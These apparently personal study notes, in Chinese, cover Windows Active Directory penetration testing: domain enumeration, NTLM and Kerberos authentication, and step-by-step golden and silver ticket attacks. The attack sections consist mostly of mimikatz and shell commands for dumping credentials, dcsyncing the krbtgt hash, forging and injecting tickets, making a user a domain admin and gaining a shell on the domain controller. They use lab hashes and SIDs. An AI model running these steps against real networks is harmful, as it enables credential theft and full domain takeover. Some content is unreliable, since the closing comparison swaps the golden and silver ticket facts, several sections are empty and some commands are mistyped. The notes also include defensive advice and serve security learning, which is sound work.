域环境
1. 概述
2. 域环境搭建
3. 基本命令
(1). 常用
net view /domain #查看所有域
net view /domain:test #查看加入test域的计算机
net user /domain #查看域用户
net group /domain #查看域里面有哪些组
net group "domain admins" /domain #查看域管理员账户
net group "domain controllers" /domain #查看域控制器
net group "domain computers" /domain #查看加入域中的所有普通计算机名称
net config workstation #查询当前计算机属于那个域
net time /domain #查看主域服务器的时间
lpconfig /all
systeminfo
net user admin iam@admin.123 /add /domain #添加普通域用户admin 密码为iam@admin.123
net group "Domain Admins" admin /add /domain #将普通域用户提升为域管理员
(2). 域控
- 从活动目录数据库文件中查询
dsquery computer #查询活动目录中的计算机
dsquery contact #查询活动目录中的联系人
dsquery subnet #查询活动目录中的子网
dsquery group #查询活动目录中的组
dsquery server #查询活动目录中的域控制器
dsquery user #查询活动目录所有用户,也就是域用户
(3). 定位域控
net time /domain
Net user /domain
nslookup -type=SRV
ipconfig /all #查看DNS服务器ip
net group "Domain Controllers" /domain
Systeminfo
Ping -4 dc.icg.com
端口特征 88,389
域和工作组
1. 工作组
(1). 介绍
- 工作组(workgroup)是不属于域的一个独立单元
- 工作组由一组用网络连接在一起的计算机组成,他们将计算机内的资源共享给用户访问
- 工作组网络是一个“对等网”,因为工作组中每台计算机的地位平等,,他们的资源与管理分散在各台计算机上
(2). 特点
- 工作组中,每台计算机都把自己的资源信息、用户账号信息与安全信息存放在各自的SAM数据库中
- 工作组是一种分散的管理模式,无法由一个管理员对整个工作组进行统一管理
- 如果企业内的计算机数量不多,可以创建工作组来管理网络
2. 域
(1). 介绍
- 域(Domain)是Windows网络中独立运行的单位,将网络中多台计算机逻辑上组织到一起,进行集中管理
- 域已经成为绝大多数公司组织,连接电脑的一种方式,它可以在网络中共享公用数据库和安全策略
(2). 特点
- 安全策略的复杂性
- 有无全局、集中管理需求
- 有无基于活动目录的应用和管理需求
3. 两者区别
(1). 创建方式
- 域只能由服务器创建;但工作组可以由任何一个计算机的主人创建
(2). 安全机制
- 域有通用的账号,该账号由域管理员建立;工作组只有本机上的密码
(3). 登录方式
- 域登录需要信息提交到域;工作组在计算机启动后自动登录
4. AD
(1). 基础介绍
-
活动目录就其本质来讲是一种目录服务,是 Windows Server 操作系统支持的一种采用LDAP的目录服务
-
在windows Server 域内的目录是用来存储用户账户、组、打印机、共享文件夹等对象的,这些对象的存储的处称为'目录数据库”
-
在域内负责提供目录服务的组件就是 Active Directory,它负责目录数据库的存储、添加、删除、修改与查询等操作。
-
活动目录AD,存储网络上的各种对象的相关信息,使域用户只用一个账号就可以访问活动日录中所有的资源
-
活动目录提供了集中而且灵活的网络管理能力
-
AD的功能:组织和管理网络中的全部资源对象
(2). 逻辑结构
- 域——活动目录的核心逻辑单元
- 域树——是指基于在DNS命名空间,具有连续的命名空间
- 森林——指一个或多个不连续DNS名的域(树)的集合
- 组织单元OU——可以把用户、组、计算机和打印机等对象组织起来
5. DC
(1). 概述
- 本质上:是一台计算机,实现用户,计算机,目录的统一管理。
- 在域环境中权限管理集中后,所有网络资源,包括用户,均是在DC上进行维护,便于集中管理。
- 域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。
- 一个域中可以有一个或多个域控制器。
(2). 功能
- 提供AD服务
- 存储域复制AD数据库
- 管理域中的活动,包括“用户登录”、“身份验证”与“目录查询”等
基本认证协议
1. NTLM
(1). 概念
- 在渗透测试中,通常可从 Windows系统中的
SAM文件
和域控的NTDS.dit文件
中获得所有用户的Hash。也可以通过
Mimikatz 读取lsass.exe进程
获得已登录用户的NTLM hash和明文值 - NTLM认证则是利用NTLM哈希进行的认证,主要有本地认证和网络认证两种方式。LM认证是Windows早期的认证方式
因向后兼容性而保留了下来。NTLM适用范围非常广,既可用于域内的认证服务,也可用于没有域的工作组环境。NTLM
有 NTLMv1 和 NTLMv2 两个版本,目前使用的都是NTLMv2版本。
(2). 文件存放路径
- SAM文件路径:
C:/Windows/system32/config/SAM
- NTDS.dit文件路径:
C:/Windows/NTDS/NTDS.dit
(3). 攻击方式
- PTH
- SMB重放
- NTLM Relay 中继
(4). 工作组认证流程
- 首先用户在客户端输入username、password,然后客户端会先将用户输入的password进行hash计算并保存在本地,舍弃明文密码
- 客户端将username明文传输到服务器
- 然后服务器会随机生成16字节的challenge挑战码返回给客户端
- 客户端接收到challenge之后,会用第一步生成的hash对challenge进行加密(称为response),和challenge、username-起发送给服务器
- 服务器在接收到客户端发来的response、challenge、username,会拿着username在自己的SAM文件中查询出对应的hash,并用hash对challenage客户端发来的response进行对比,相同则身份验证成功
(5). 域环境认证流程
- 首先用户在客户端输入username、password,然后客户端会先将用户输入的password进行hash计算并保存在本地,舍弃明文密码
- 客户端将username明文传输到服务器
- 然后服务器会随机生成16字节的challenge挑战码返回给客户端。
- 客户端接收到challenge之后,会用第一步生成的hash对challenge进行加密(称为response),和challenge、username一起发送给服务器
- 服务端将客户端发来的信息转发给域控
- 域控在接收到服务端发来的response、chalenge、username,会拿着userame在自己的活动目录数据库(ntds.dit)中查询出对应的hash,并用hash对challenage进行一次加密得到response,再与客户端发来的response进行对比相同则身份验证成功
2. Kerberos
(1). 概念
- Kerberos认证用于域环境中,它是一种基于票据(Ticket)的认证方式。他的整个认证过程涉及到三方:客户端、服务端和KDC(Key Distribution Center,密钥分发中心)。在Windows域环境中,由DC来作为KDC。
- 在域环境中,默认先使用kerberos进行认证,当使用kerberos认证出现错误时使用NTLM认证。
- 域内使用NTLM认证协议的情况:域控的DNS或域控相关服务出现问题,认证时是使用IP地址进行认证
(2). 攻击方式
- 黄金票据
- 白银票据
- 各种中继攻击
- 各种委派
- kerberos协议漏洞等等
(3). 认证涉及单位
- 访问服务的Client、提供服务的Server,二者通常为域内的用户或者是服务,如HTTP服务,SQL服务
- KDC密钥分发中心,KDC又分为AS(Authentication Server,身份验证服务)以及TGS(Ticket Granting Server,票据授予服务),KDC服务默认会安装在一个域的域控中,在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。
(4). 理解AS和TGS
a. AS
- AS的作用就是验证Client端的身份(确定你是身份证上的本人),验证通过就会给一张TGT(Ticket Granting Ticket)票给Client.
b. TGS
- TGS的作用是通过AS发送给Client的票(TGT),换取访问Server端的票(ST,Service Ticket)
(5). 认证流程
-
AS_REQ: Client -> AS
- Client向KDC发起AS REQ,请求内容为通过 Client 密码 Hash 加密的用户名、时间戳、Client ID、网络地址、加密类型等内容。
-
AS_REP: AS -> Client
- KDC使用Client hash进行解密,并在ntds.dit中查找该账户,如果结果正确就返回用krbtgt NTLM-hash加密的TGT票据,TGT里面包含PAC(Privilege Attribute Certificate,特权属性证书,用来区分不同的权限),PAC包含Client的sid、Client所在的组。
-
TGS_REQ: Client -> TGS
- Client凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
-
TGS_REP: TGS -> Client
- KDC使用krbtgt NTLM-hash进行解密,如果结果正确,就返回用服务NTLM-hash 加密的ST服务票据,并带上PAC(这一步不管用户有没有访问服务的权限,只要TGT正确,TGS就返回ST服务票据)
-
AP_REQ: Client -> Server
- Client拿着TGS票据(ST服务票据)去请求服务
-
AP_REP: Sever -> Client
- Server使用自己的服务账号NTLM-hash解密TGS票据(ST服务票据)。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限
3. 黄金票据攻击
(1). 原理
(2). 认证流程
(3). 前提条件
- 域名称
- 域的SID值
- 域的KRBTGT账户的NTLM-HASH
- 伪造用户名(任意用户)
(4). 伪造过程
-
获取域控的Krbtgt NTLM Hash值(在域控中操作)
lsadump::dcsync /domain:域名 /user:krbtgt
-
生成伪造的黄金票据(在Client端)
- 使用mimikatz中的功能里生成黄金票据
kerberos:golden /user:伪造的用户名 /domain:域名 /sid:domain-sid /krbtgt:ntlmhash值 /ticket:票据名称 #参数说明 /admin:伪造的用户名 /domain:域名称 /sid:域的SID(不包括后3位) /krbtgt: krbtgt 的NTLM-HASH 值 /ticket:生成的票据名称
-
清空本地票据缓存,导入伪造的票据
- 票据20分钟内有效,过期之后可以再次导入
#清除本地票据缓存 kerberos::purge #查看本地保存的票据,观察client name kerberos::list #查看票据列表(cmd下) klist #导入伪造的黄金票据 kerberos::ptt 票据名
-
利用伪造的黄金票据
#远程执行命令 dir \\dc\c$ #获取交互式shell PsExec64.exe \\win2003- :-1 cmd.exe
(5). 总结
- 伪造黄金票据需要知道krbtgt账号的NTLM-hash
- 黄金票据能用在权限提升和权限维持
- 利用mimikatz工具在win2003及以下,导入黄金票据时会报错
- 用IP登陆会显示拒绝访问或者账号密码不正确
- NTLM仍然使用在以下场景:
- 客户端使用 IP 地址向服务器认证
- 客户端向一个未加入域的服务器认证
- 未使用活动目录的场景(通常指工作组或对等网络)
- 防火墙策略限制了 Kerberos 使用的端口(通常为 TCP port 88)
- 域控端口:88,389
- NTLM仍然使用在以下场景:
(6). 防御方法
- 限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机
- 这降低攻击者通过横向扩展,获取域管理员的账户,获得访问域控制器的Active Directory的ntds.dit的权限。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码。
- 建议定期更改KRBTGT密码
- 更改一次后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法。
- 通过快速更改KRBTGT密码两次,使黄金票据失效
- 一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效,可以消除攻击者使用其KRBTGT创建有效金票的能力。
(7). 实例
a. 收集krbtgt账号信息簇
-
进入mimikatz
- 确保至少为管理员权限启动
mimikatz.exe
-
进入Kerberos模式
privilege::debug #进入kerberos模式 sekurlsa::kerberos
如果出现以下报错,则为权限不够
可以尝试使用Psexec.exe,通过以下命令进入System权限
psexec64.exe -i -s cmd.exe
在弹出的cmd窗口,重新运行mimikatz
mimikatz.exe
重新进入kerberos模式
#开启日志记录,因为进入的system权限的cmd窗口无法滑动,所以使用日志读取 log "C:\Users\Administrator\Desktop\x64\output.txt" sekurlsa::kerberos
-
获取登录密码信息
#获取登录密码信息
sekurlsa::logonpasswords
#获取krbtgt用户密码信息
lsadump::dcsync /domain:laffrex.com /user:krbtgt
b. 制作金票
- 使用获取的域SID(去掉后三位,后三位代表域控相关信息)和域KRBTGT的hash,在 另一台域主机 上制作黄金票据,去获取访问域控的权限。
#提升权限
privilege::debug
sekurlsa::kerberos
#开启日志记录
log "C:\Users\Administrator\Desktop\x64\output.txt"
#制作金票
kerberos::golden /user:Administrator /domain:laffrex.com /sid:S-1-5-21-1027567978-1567870151-2422577431 /krbtgt:b036bd80f7d70fc72b920c1eeb8acc55 /ticket:golden.kiribi
#直接生成金票并导入
kerberos::golden /user:Administrator /domain:laffrex.com /sid:S-1-5-21-1027567978-1567870151-2422577431-502 /krbtgt:b036bd80f7d70fc72b920c1eeb8acc55 /ptt
c. 导入金票
- 通过mimikatz的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中
- 清除票据
kerberos::purge
- 导入票据
kerberos::ptt golden.kiribi
- 查看导入
kerberos::list
d. 验证权限
dir \\dc.laffrex.com\c$
PsExec64.exe \\dc :-1 cmd.exe
4. 白银票据攻击
(1). 原理
(2). 认证流程
(3). 特点
(4). 前提条件
- 域名称
- 域的 SID 值
- 域的服务账户的密码HASH
- 伪造的用户名,可以是任意用户名,一般是伪造administrator
- 需要访问的服务
(5). 伪造流程
-
用域管理员账号登录主域控,使用mimikatz.exe执行命令抓取hash(在域控中执行)
mimikatz.exe privilege::debug sekurlsa::logonpasswords
-
伪造票据。得到服务账户的HASH之后使用 mimikatz中的kerberos:golden功能,通过/service参数指定服务名,从而生成白银票据TGS ticket。
kerberos:golden /user:伪造的用户名 /domain:域名 /sid:域SID值 /target:目标主机 /rc4:目标主机服务的HASH值(NTLM) /service:需要伪造的服务 /ptt #参数说明 /domain:指定域名 /sid:域sid号(最后一部分) /target:目标主机计算机名 /rc4:目标主机服务的hash(NTLM) /service:需要伪造的服务 /user:需要伪造的用户名 /ppt:伪造了以后直接写入到内存中
服务类型 白银票据对应的服务名 WMI HOST/RPCSS PowerShell Remoting HOST/HOST WinRM HOST/HTTP Scheduled Tasks HOST Windows File Share CIFS -
利用伪造的白银票据
dir \\dc.laffrex.com\c$
(6). 扩展利用
a. 计划任务
- 利用HOST服务来修改或创建计划任务,需要导入一张 HOST Silver Ticket
-
创建票据
kerberos:golden /user:伪造的用户名 /domain:域名/sid:sID /target:日标主机 /rc4:日标主机的hash值/service:HOST /ptt
-
创建计划任务
schtasks /create /S dc.laffrex.com /sc WEEKLY /tn "test" /tr "c:\windows\system32\calc.exe"
-
查看是否添加成功
schtasks /query /s dc.laffrex.com
#如果无法查看,使用美国时区编码
chcp 437
b. 远程命令执行
- 使用WMI在目标系统上远程命令执行。需要导入两张Silver Ticket,一张host Silver Ticket,一张rpcss Silver Ticket
-
导入票据
kerberos:golden /user:伪造的用户名 /domain:域名 /sid:sID /target:目标主机 /rc4:目标主ss的hash值 /service:host /ptt kerberos:golden /user:伪造的用户名 /domain:域名 /sid: SID /target:目标主机 /rc4:目标主机的hash值 /service:rpcss /ptt
-
执行wmi命令,在远程主机上创建新进程
(7). 防御方法
-
尽量保证凭证不被获取到
-
增加验证
-
通过开启PAC(Privileged Attribute Certificate)特权属性证书保护功能。开启PAC后,PAC会将client发送的票据ticket发送给KDC,由KDC进行验证ticket是否有效,就可以使所伪造的票据无法进行利用。
-
在Server端开启的方式是更改注册表中的一个值,将
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
中的ValidateKdcPacSignature设为1
-
(8). 实例
-
获取到目标服务器的NTLM哈希值
- 为服务器的HTLM哈希值,而不是用户的
privilege::debug sekurlsa::logonpasswords #去掉sid后3位,为域控信息标志位 S-1-5-21-1027567978-1567870151-2422577431
-
在本机上制作白银票据,写入内存
kerberos::golden /user:Administrator /domain:laffrex.com /sid:S-1-5-21-1027567978-1567870151-2422577431 /target:dc.laffrex.com /service:cifs /rc4:bc8144babd6a3fa15f0e4a20cb31b77b /ptt
-
验证权限
5. 两者区别
(1). 访问权限
- 黄金票据:伪造TGT,可以获取任何Kerberos服务权限
- 白银票据:伪造TGS,只能访问指定的服务
(2). 加密方式
- 黄金票据:由Kerberos的Hash加密
- 白银票据:由服务账号(通常为计算机账户)Hash加密
(3). 认证流程
- 黄金票据:黄金票据的利用过程需要访问域控
- 白银票据:不需要认证,可以跳过KDC的认证
(4). 针对目标
- 黄金票据:TGS ticket针对的是某个机器上的某个服务,
- 白银票据:TGT针对的是所有机器的所有服务